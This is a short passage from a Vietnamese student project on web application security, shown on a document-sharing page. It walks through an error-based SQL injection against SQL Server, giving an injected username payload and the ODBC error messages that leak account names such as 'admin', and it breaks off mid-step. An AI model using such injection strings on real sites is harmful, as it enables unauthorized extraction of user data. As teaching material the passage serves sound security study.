Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' admin ' to a column of data type int. Người đầu tiên trong bảng User là “admin”. • Bước 2: Để biết các giá trị tiếp theo, nhập chuỗi sau: Username:’;select min(tkUsername),1 from User where tkUsername> ’admin’union select 1,1 from User Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax Error Converting the varchar value 'nhimmap' to a column of data type int. • Bước 3: Thực hiện như bước 2 cho ra kết quả là từng dòng với t

Các file đính kèm theo tài liệu này:

  • docĐồ án Ứng dụng web và vấn đề bảo mật.doc
Tài liệu liên quan